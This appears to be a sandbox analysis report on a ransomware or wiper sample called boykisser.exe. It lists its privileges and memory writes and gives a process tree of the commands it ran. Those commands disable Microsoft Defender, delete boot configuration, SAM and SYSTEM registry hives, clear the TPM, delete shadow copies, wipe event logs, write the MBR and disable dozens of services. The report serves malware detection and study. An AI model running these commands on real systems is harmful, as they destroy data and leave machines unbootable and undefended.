Token: SeTakeOwnershipPrivilege	3552	wmic.exe
Token: SeLoadDriverPrivilege	3552	wmic.exe
Token: SeSystemProfilePrivilege	3552	wmic.exe
Token: SeSystemtimePrivilege	3552	wmic.exe
Token: SeProfSingleProcessPrivilege	3552	wmic.exe
Token: SeIncBasePriorityPrivilege	3552	wmic.exe
Token: SeCreatePagefilePrivilege	3552	wmic.exe
Token: SeBackupPrivilege	3552	wmic.exe
Token: SeRestorePrivilege	3552	wmic.exe
Token: SeShutdownPrivilege	3552	wmic.exe
Token: SeDebugPrivilege	3552	wmic.exe
Token: SeSystemEnvironmentPrivilege	3552	wmic.exe
Token: SeRemoteShutdownPrivilege	3552	wmic.exe
Token: SeUndockPrivilege	3552	wmic.exe
Token: SeManageVolumePrivilege	3552	wmic.exe
Token: 33	3552	wmic.exe
Token: 34	3552	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3548 wrote to memory of 4156	3548	boykisser.exe	90
PID 4156 wrote to memory of 4444	4156	powershell.exe	92
PID 4444 wrote to memory of 5840	4444	boykisser.exe	95
PID 4444 wrote to memory of 2152	4444	boykisser.exe	97
PID 4444 wrote to memory of 7016	4444	boykisser.exe	99
PID 4444 wrote to memory of 3524	4444	boykisser.exe	102
PID 4444 wrote to memory of 2272	4444	boykisser.exe	104
PID 4444 wrote to memory of 2104	4444	boykisser.exe	106
PID 4444 wrote to memory of 6856	4444	boykisser.exe	108
PID 4444 wrote to memory of 3800	4444	boykisser.exe	110
PID 4444 wrote to memory of 1924	4444	boykisser.exe	112
PID 4444 wrote to memory of 6532	4444	boykisser.exe	114
PID 4444 wrote to memory of 2796	4444	boykisser.exe	116
PID 4444 wrote to memory of 1888	4444	boykisser.exe	118
PID 4444 wrote to memory of 1228	4444	boykisser.exe	120
PID 4444 wrote to memory of 4760	4444	boykisser.exe	122
PID 4444 wrote to memory of 1316	4444	boykisser.exe	124
PID 4444 wrote to memory of 7164	4444	boykisser.exe	126
PID 4444 wrote to memory of 6308	4444	boykisser.exe	128
PID 6308 wrote to memory of 904	6308	cmd.exe	130
PID 4444 wrote to memory of 5300	4444	boykisser.exe	131
PID 4444 wrote to memory of 2976	4444	boykisser.exe	134
PID 4444 wrote to memory of 3264	4444	boykisser.exe	136
PID 4444 wrote to memory of 6260	4444	boykisser.exe	138
PID 4444 wrote to memory of 2352	4444	boykisser.exe	140
PID 4444 wrote to memory of 3140	4444	boykisser.exe	142
PID 4444 wrote to memory of 1800	4444	boykisser.exe	144
PID 4444 wrote to memory of 4884	4444	boykisser.exe	146
PID 4444 wrote to memory of 6876	4444	boykisser.exe	148
PID 4444 wrote to memory of 5296	4444	boykisser.exe	150
PID 4444 wrote to memory of 3276	4444	boykisser.exe	152
PID 4444 wrote to memory of 6460	4444	boykisser.exe	154
PID 4444 wrote to memory of 3376	4444	boykisser.exe	156
PID 4444 wrote to memory of 2456	4444	boykisser.exe	158
PID 4444 wrote to memory of 2864	4444	boykisser.exe	1012
PID 4444 wrote to memory of 2944	4444	boykisser.exe	162
PID 4444 wrote to memory of 2064	4444	boykisser.exe	471
PID 4444 wrote to memory of 5092	4444	boykisser.exe	637
PID 4444 wrote to memory of 3984	4444	boykisser.exe	978
PID 4444 wrote to memory of 4268	4444	boykisser.exe	316
PID 4444 wrote to memory of 1932	4444	boykisser.exe	649
PID 4444 wrote to memory of 5016	4444	boykisser.exe	174
PID 4444 wrote to memory of 3552	4444	boykisser.exe	1255
PID 4444 wrote to memory of 7020	4444	boykisser.exe	1011
PID 4444 wrote to memory of 6008	4444	boykisser.exe	646
PID 4444 wrote to memory of 3444	4444	boykisser.exe	1211
PID 4444 wrote to memory of 1520	4444	boykisser.exe	340
PID 4444 wrote to memory of 6128	4444	boykisser.exe	863
PID 4444 wrote to memory of 1772	4444	boykisser.exe	185
PID 4444 wrote to memory of 3392	4444	boykisser.exe	682
PID 4444 wrote to memory of 5552	4444	boykisser.exe	1238
PID 4444 wrote to memory of 2160	4444	boykisser.exe	189
PID 4444 wrote to memory of 6108	4444	boykisser.exe	1216
PID 4444 wrote to memory of 3828	4444	boykisser.exe	1107
PID 4444 wrote to memory of 2816	4444	boykisser.exe	1082
PID 4444 wrote to memory of 5420	4444	boykisser.exe	702
PID 4444 wrote to memory of 3152	4444	boykisser.exe	364
PID 4444 wrote to memory of 5488	4444	boykisser.exe	204
PID 4444 wrote to memory of 1256	4444	boykisser.exe	867
PID 4444 wrote to memory of 4236	4444	boykisser.exe	206
PID 4444 wrote to memory of 3748	4444	boykisser.exe	876
PID 4444 wrote to memory of 4276	4444	boykisser.exe	911
PID 4444 wrote to memory of 5508	4444	boykisser.exe	1250
PID 4444 wrote to memory of 5880	4444	boykisser.exe	376

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\boykisser.exe
"C:\Users\Admin\AppData\Local\Temp\boykisser.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGIAbwB5AGsAaQBzAHMAZQByAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC0ALQBlAGwAZQB2AGEAdABlAGQAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Users\Admin\AppData\Local\Temp\boykisser.exe
    "C:\Users\Admin\AppData\Local\Temp\boykisser.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Sets desktop wallpaper using registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5840
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7016
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:3524
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2272
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2104
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      PID:6856
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      PID:3800
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      PID:1924
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      PID:6532
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      PID:2796
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      PID:1888
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      PID:1228
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      PID:4760
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      PID:1316
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      PID:7164
  - - C:\Windows\system32\cmd.exe
      "cmd" /c reg delete HKLM\BCD00000000 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6308
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\BCD00000000 /f
        5⤵
        Modifies registry key
        
        PID:904
  - - C:\Windows\system32\reagentc.exe
      "reagentc" /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:5300
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2976
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} nx AlwaysOff
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3264
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} pae ForceDisable
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6260
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} bootlog Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2352
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} noserialmice Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3140
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safeboot Minimal
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1800
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safebootalternateshell yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4884
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6876
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {bootmgr} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5296
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {memdiag} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3276
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\SAM /f
      4⤵
      Modifies registry key
      PID:6460
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\Domains /f
      4⤵
      Modifies registry key
      PID:3376
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SYSTEM\CurrentControlSet\Services /f
      4⤵
      Modifies firewall policy service
      Modifies security service
      Maps connected drives based on registry
      Modifies registry key
      PID:2456
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f
      4⤵
      PID:2864
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions /t REG_SZ /d GARBAGE /f
      4⤵
      Modifies registry key
      PID:2944
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:2064
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f
      4⤵
      Event Triggered Execution: Image File Execution Options Injection
      Indicator Removal: Clear Persistence
      PID:5092
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SECURITY\Policy /f
      4⤵
      Modifies registry key
      PID:3984
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\DEFAULT\Software /f
      4⤵
      Modifies registry key
      PID:4268
  - - C:\Windows\system32\fsutil.exe
      "fsutil" dirty set C:
      4⤵
      PID:1932
  - - C:\Windows\system32\tpmtool.exe
      "tpmtool" clear
      4⤵
      PID:5016
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" /namespace:\\root\cimv2\security\microsofttpm path Win32_Tpm call Clear
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3552
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:7020
  - - C:\Windows\system32\sc.exe
      "sc" query type= service state= all
      4⤵
      PID:6008
  - - C:\Windows\system32\sc.exe
      "sc" stop ALG
      4⤵
      PID:3444
  - - C:\Windows\system32\sc.exe
      "sc" stop AppIDSvc
      4⤵
      PID:1520
  - - C:\Windows\system32\sc.exe
      "sc" stop Appinfo
      4⤵
      PID:6128
  - - C:\Windows\system32\sc.exe
      "sc" stop AppMgmt
      4⤵
      PID:1772
  - - C:\Windows\system32\sc.exe
      "sc" stop AppReadiness
      4⤵
      PID:3392
  - - C:\Windows\system32\sc.exe
      "sc" stop AppVClient
      4⤵
      PID:5552
  - - C:\Windows\system32\sc.exe
      "sc" stop AppXSvc
      4⤵
      PID:2160
  - - C:\Windows\system32\sc.exe
      "sc" stop ApxSvc
      4⤵
      PID:6108
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      PID:3828
  - - C:\Windows\system32\sc.exe
      "sc" config ALG start= disabled
      4⤵
      PID:2816
  - - C:\Windows\system32\sc.exe
      "sc" config AppMgmt start= disabled
      4⤵
      PID:5420
  - - C:\Windows\system32\sc.exe
      "sc" config Appinfo start= disabled
      4⤵
      PID:3152
  - - C:\Windows\system32\sc.exe
      "sc" config ApxSvc start= disabled
      4⤵
      PID:5488
  - - C:\Windows\system32\sc.exe
      "sc" config AppReadiness start= disabled
      4⤵
      PID:1256
  - - C:\Windows\system32\sc.exe
      "sc" config AppIDSvc start= disabled
      4⤵
      PID:4236
  - - C:\Windows\system32\sc.exe
      "sc" config AppXSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3748
  - - C:\Windows\system32\sc.exe
      "sc" config AppVClient start= disabled
      4⤵
      PID:4276
  - - C:\Windows\system32\sc.exe
      "sc" stop AssignedAccessManagerSvc
      4⤵
      PID:5508
  - - C:\Windows\system32\sc.exe
      "sc" stop AudioEndpointBuilder
      4⤵
      PID:5880
  - - C:\Windows\system32\sc.exe
      "sc" stop Audiosrv
      4⤵
      PID:3812
  - - C:\Windows\system32\sc.exe
      "sc" stop autotimesvc
      4⤵
      PID:1840
  - - C:\Windows\system32\sc.exe
      "sc" stop AxInstSV
      4⤵
      Launches sc.exe
      PID:3596
  - - C:\Windows\system32\sc.exe
      "sc" stop BDESVC
      4⤵
      PID:4788
  - - C:\Windows\system32\sc.exe
      "sc" stop BFE
      4⤵
      PID:1368
  - - C:\Windows\system32\sc.exe
      "sc" stop BITS
      4⤵
      PID:6420
  - - C:\Windows\system32\sc.exe
      "sc" config AudioEndpointBuilder start= disabled
      4⤵
      PID:3632
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:6408
  - - C:\Windows\system32\sc.exe
      "sc" config AssignedAccessManagerSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5736
  - - C:\Windows\system32\sc.exe
      "sc" config autotimesvc start= disabled
      4⤵
      PID:2208
  - - C:\Windows\system32\sc.exe
      "sc" config BDESVC start= disabled
      4⤵
      PID:5988
  - - C:\Windows\system32\sc.exe
      "sc" config Audiosrv start= disabled
      4⤵
      PID:5760
  - - C:\Windows\system32\sc.exe
      "sc" config BFE start= disabled
      4⤵
      PID:5752
  - - C:\Windows\system32\sc.exe
      "sc" config BITS start= disabled
      4⤵
      PID:5084
  - - C:\Windows\system32\sc.exe
      "sc" config AxInstSV start= disabled
      4⤵
      PID:5604
  - - C:\Windows\system32\sc.exe
      "sc" stop BrokerInfrastructure
      4⤵
      PID:1728
  - - C:\Windows\system32\sc.exe
      "sc" stop BTAGService
      4⤵
      PID:1916
  - - C:\Windows\system32\sc.exe
      "sc" stop BthAvctpSvc
      4⤵
      PID:4400
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPSvc
      4⤵
      PID:556
  - - C:\Windows\system32\sc.exe
      "sc" stop camsvc
      4⤵
      PID:468
  - - C:\Windows\system32\sc.exe
      "sc" stop bthserv
      4⤵
      PID:6264
  - - C:\Windows\system32\sc.exe
      "sc" stop CertPropSvc
      4⤵
      PID:3200
  - - C:\Windows\system32\sc.exe
      "sc" stop ClickToRunSvc
      4⤵
      PID:1072
  - - C:\Windows\system32\sc.exe
      "sc" config BTAGService start= disabled
      4⤵
      Launches sc.exe
      PID:52
  - - C:\Windows\system32\sc.exe
      "sc" config CertPropSvc start= disabled
      4⤵
      PID:4668
  - - C:\Windows\system32\sc.exe
      "sc" config BrokerInfrastructure start= disabled
      4⤵
      PID:2804
  - - C:\Windows\system32\sc.exe
      "sc" config CDPSvc start= disabled
      4⤵
      PID:3304
  - - C:\Windows\system32\sc.exe
      "sc" config BthAvctpSvc start= disabled
      4⤵
      PID:6568
  - - C:\Windows\system32\sc.exe
      "sc" config bthserv start= disabled
      4⤵
      PID:4932
  - - C:\Windows\system32\sc.exe
      "sc" config camsvc start= disabled
      4⤵
      PID:4644
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3664
  - - C:\Windows\system32\sc.exe
      "sc" stop ClipSVC
      4⤵
      PID:7148
  - - C:\Windows\system32\sc.exe
      "sc" stop cloudidsvc
      4⤵
      PID:6956
  - - C:\Windows\system32\sc.exe
      "sc" stop COMSysApp
      4⤵
      PID:6148
  - - C:\Windows\system32\sc.exe
      "sc" stop CoreMessagingRegistrar
      4⤵
      PID:3140
  - - C:\Windows\system32\sc.exe
      "sc" stop CryptSvc
      4⤵
      PID:2812
  - - C:\Windows\system32\sc.exe
      "sc" stop CscService
      4⤵
      PID:6876
  - - C:\Windows\system32\sc.exe
      "sc" config ClickToRunSvc start= disabled
      4⤵
      PID:7152
  - - C:\Windows\system32\sc.exe
      "sc" stop DcomLaunch
      4⤵
      PID:4260
  - - C:\Windows\system32\sc.exe
      "sc" config CryptSvc start= disabled
      4⤵
      PID:832
  - - C:\Windows\system32\sc.exe
      "sc" config CoreMessagingRegistrar start= disabled
      4⤵
      PID:2744
  - - C:\Windows\system32\sc.exe
      "sc" stop dcsvc
      4⤵
      Launches sc.exe
      PID:1816
  - - C:\Windows\system32\sc.exe
      "sc" config CscService start= disabled
      4⤵
      PID:2456
  - - C:\Windows\system32\sc.exe
      "sc" config ClipSVC start= disabled
      4⤵
      PID:5280
  - - C:\Windows\system32\sc.exe
      "sc" config cloudidsvc start= disabled
      4⤵
      PID:6836
  - - C:\Windows\system32\sc.exe
      "sc" config COMSysApp start= disabled
      4⤵
      PID:7072
  - - C:\Windows\system32\sc.exe
      "sc" config DcomLaunch start= disabled
      4⤵
      PID:2140
  - - C:\Windows\system32\sc.exe
      "sc" stop defragsvc
      4⤵
      PID:6816
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4268
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationService
      4⤵
      PID:3944
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceInstall
      4⤵
      PID:3932
  - - C:\Windows\system32\sc.exe
      "sc" stop DevQueryBroker
      4⤵
      PID:1116
  - - C:\Windows\system32\sc.exe
      "sc" stop Dhcp
      4⤵
      PID:1712
  - - C:\Windows\system32\sc.exe
      "sc" stop diagsvc
      4⤵
      PID:5680
  - - C:\Windows\system32\sc.exe
      "sc" stop DiagTrack
      4⤵
      PID:6656
  - - C:\Windows\system32\sc.exe
      "sc" config dcsvc start= disabled
      4⤵
      PID:6392
  - - C:\Windows\system32\sc.exe
      "sc" config defragsvc start= disabled
      4⤵
      PID:5768
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationService start= disabled
      4⤵
      PID:6636
  - - C:\Windows\system32\sc.exe
      "sc" config DevQueryBroker start= disabled
      4⤵
      PID:4084
  - - C:\Windows\system32\sc.exe
      "sc" stop DialogBlockingService
      4⤵
      PID:6896
  - - C:\Windows\system32\sc.exe
      "sc" config diagsvc start= disabled
      4⤵
      PID:2152
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1520
  - - C:\Windows\system32\sc.exe
      "sc" config Dhcp start= disabled
      4⤵
      PID:6104
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceInstall start= disabled
      4⤵
      Launches sc.exe
      PID:4960
  - - C:\Windows\system32\sc.exe
      "sc" config DiagTrack start= disabled
      4⤵
      PID:4632
  - - C:\Windows\system32\sc.exe
      "sc" stop DispBrokerDesktopSvc
      4⤵
      PID:3456
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      PID:4056
  - - C:\Windows\system32\sc.exe
      "sc" stop DisplayEnhancementService
      4⤵
      PID:1752
  - - C:\Windows\system32\sc.exe
      "sc" stop DmEnrollmentSvc
      4⤵
      PID:1900
  - - C:\Windows\system32\sc.exe
      "sc" stop dmwappushservice
      4⤵
      PID:3396
  - - C:\Windows\system32\sc.exe
      "sc" config DialogBlockingService start= disabled
      4⤵
      Launches sc.exe
      PID:3344
  - - C:\Windows\system32\sc.exe
      "sc" stop Dnscache
      4⤵
      PID:6832
  - - C:\Windows\system32\sc.exe
      "sc" stop DoSvc
      4⤵
      PID:6824
  - - C:\Windows\system32\sc.exe
      "sc" stop dot3svc
      4⤵
      PID:6860
  - - C:\Windows\system32\sc.exe
      "sc" config DispBrokerDesktopSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3152
  - - C:\Windows\system32\sc.exe
      "sc" config DmEnrollmentSvc start= disabled
      4⤵
      PID:2552
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      PID:2764
  - - C:\Windows\system32\sc.exe
      "sc" config DisplayEnhancementService start= disabled
      4⤵
      PID:3552
  - - C:\Windows\system32\sc.exe
      "sc" config DoSvc start= disabled
      4⤵
      PID:1108
  - - C:\Windows\system32\sc.exe
      "sc" config dmwappushservice start= disabled
      4⤵
      PID:3524
  - - C:\Windows\system32\sc.exe
      "sc" stop DPS
      4⤵
      PID:5880
  - - C:\Windows\system32\sc.exe
      "sc" config Dnscache start= disabled
      4⤵
      PID:6964
  - - C:\Windows\system32\sc.exe
      "sc" config dot3svc start= disabled
      4⤵
      PID:776
  - - C:\Windows\system32\sc.exe
      "sc" stop DsmSvc
      4⤵
      PID:2428
  - - C:\Windows\system32\sc.exe
      "sc" stop DsSvc
      4⤵
      PID:2928
  - - C:\Windows\system32\sc.exe
      "sc" stop DusmSvc
      4⤵
      PID:4388
  - - C:\Windows\system32\sc.exe
      "sc" stop EapHost
      4⤵
      PID:5324
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      PID:2128
  - - C:\Windows\system32\sc.exe
      "sc" config DPS start= disabled
      4⤵
      PID:5500
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdate
      4⤵
      PID:3604
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdatem
      4⤵
      PID:5736
  - - C:\Windows\system32\sc.exe
      "sc" config DsmSvc start= disabled
      4⤵
      PID:5664
  - - C:\Windows\system32\sc.exe
      "sc" stop EFS
      4⤵
      PID:7052
  - - C:\Windows\system32\sc.exe
      "sc" config DsSvc start= disabled
      4⤵
      PID:1888
  - - C:\Windows\system32\sc.exe
      "sc" config EapHost start= disabled
      4⤵
      PID:4796
  - - C:\Windows\system32\sc.exe
      "sc" config DusmSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5548
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdate start= disabled
      4⤵
      PID:6236
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdatem start= disabled
      4⤵
      PID:1916
  - - C:\Windows\system32\sc.exe
      "sc" stop embeddedmode
      4⤵
      PID:3136
  - - C:\Windows\system32\sc.exe
      "sc" stop EntAppSvc
      4⤵
      PID:3108
  - - C:\Windows\system32\sc.exe
      "sc" config EFS start= disabled
      4⤵
      PID:2244
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" computersystem set AutomaticManagedPagefile=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1428
  - - C:\Windows\system32\sc.exe
      "sc" stop EventLog
      4⤵
      PID:520
  - - C:\Windows\system32\sc.exe
      "sc" stop EventSystem
      4⤵
      Launches sc.exe
      PID:6932
  - - C:\Windows\system32\sc.exe
      "sc" stop fdPHost
      4⤵
      PID:5856
  - - C:\Windows\system32\sc.exe
      "sc" config embeddedmode start= disabled
      4⤵
      PID:2788
  - - C:\Windows\system32\sc.exe
      "sc" stop FDResPub
      4⤵
      PID:6332
  - - C:\Windows\system32\sc.exe
      "sc" stop fhsvc
      4⤵
      PID:3264
  - - C:\Windows\system32\sc.exe
      "sc" config EntAppSvc start= disabled
      4⤵
      PID:400
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:52
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache
      4⤵
      PID:704
  - - C:\Windows\system32\sc.exe
      "sc" config EventLog start= disabled
      4⤵
      PID:8
  - - C:\Windows\system32\sc.exe
      "sc" config EventSystem start= disabled
      4⤵
      PID:1072
  - - C:\Windows\system32\sc.exe
      "sc" config fdPHost start= disabled
      4⤵
      PID:6436
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache3.0.0.0
      4⤵
      PID:296
  - - C:\Windows\system32\sc.exe
      "sc" config FDResPub start= disabled
      4⤵
      PID:2972
  - - C:\Windows\system32\sc.exe
      "sc" config fhsvc start= disabled
      4⤵
      PID:852
  - - C:\Windows\system32\sc.exe
      "sc" stop FrameServer
      4⤵
      Launches sc.exe
      PID:3972
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache start= disabled
      4⤵
      PID:1168
  - - C:\Windows\system32\sc.exe
      "sc" stop FrameServerMonitor
      4⤵
      PID:6912
  - - C:\Windows\system32\sc.exe
      "sc" stop GameInputSvc
      4⤵
      PID:6368
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache3.0.0.0 start= disabled
      4⤵
      PID:3008
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleChromeElevationService
      4⤵
      PID:1324
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterInternalService141.0.7340.0
      4⤵
      PID:4880
  - - C:\Windows\system32\sc.exe
      "sc" config FrameServer start= disabled
      4⤵
      PID:1120
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterService141.0.7340.0
      4⤵
      PID:6296
  - - C:\Windows\system32\sc.exe
      "sc" stop gpsvc
      4⤵
      PID:6716
  - - C:\Windows\system32\sc.exe
      "sc" config FrameServerMonitor start= disabled
      4⤵
      PID:4516
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2140
  - - C:\Windows\system32\sc.exe
      "sc" config GameInputSvc start= disabled
      4⤵
      PID:6168
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2064
  - - C:\Windows\system32\sc.exe
      "sc" stop GraphicsPerfSvc
      4⤵
      PID:4420
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleChromeElevationService start= disabled
      4⤵
      PID:1100
  - - C:\Windows\system32\sc.exe
      "sc" stop hidserv
      4⤵
      PID:792
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterInternalService141.0.7340.0 start= disabled
      4⤵
      PID:2628
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterService141.0.7340.0 start= disabled
      4⤵
      Launches sc.exe
      PID:6676
  - - C:\Windows\system32\sc.exe
      "sc" config gpsvc start= disabled
      4⤵
      PID:2348
  - - C:\Windows\system32\sc.exe
      "sc" stop HvHost
      4⤵
      PID:2136
  - - C:\Windows\system32\sc.exe
      "sc" stop icssvc
      4⤵
      PID:6068
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      PID:1436
  - - C:\Windows\system32\sc.exe
      "sc" config hidserv start= disabled
      4⤵
      PID:6724
  - - C:\Windows\system32\sc.exe
      "sc" config GraphicsPerfSvc start= disabled
      4⤵
      PID:5956
  - - C:\Windows\system32\sc.exe
      "sc" stop IKEEXT
      4⤵
      PID:5392
  - - C:\Windows\system32\sc.exe
      "sc" stop InstallService
      4⤵
      Launches sc.exe
      PID:5800
  - - C:\Windows\system32\sc.exe
      "sc" stop InventorySvc
      4⤵
      PID:5768
  - - C:\Windows\system32\sc.exe
      "sc" stop iphlpsvc
      4⤵
      PID:5828
  - - C:\Windows\system32\sc.exe
      "sc" config icssvc start= disabled
      4⤵
      PID:5676
  - - C:\Windows\system32\sc.exe
      "sc" stop IpxlatCfgSvc
      4⤵
      PID:6324
  - - C:\Windows\system32\sc.exe
      "sc" config HvHost start= disabled
      4⤵
      PID:4072
  - - C:\Windows\system32\sc.exe
      "sc" stop KeyIso
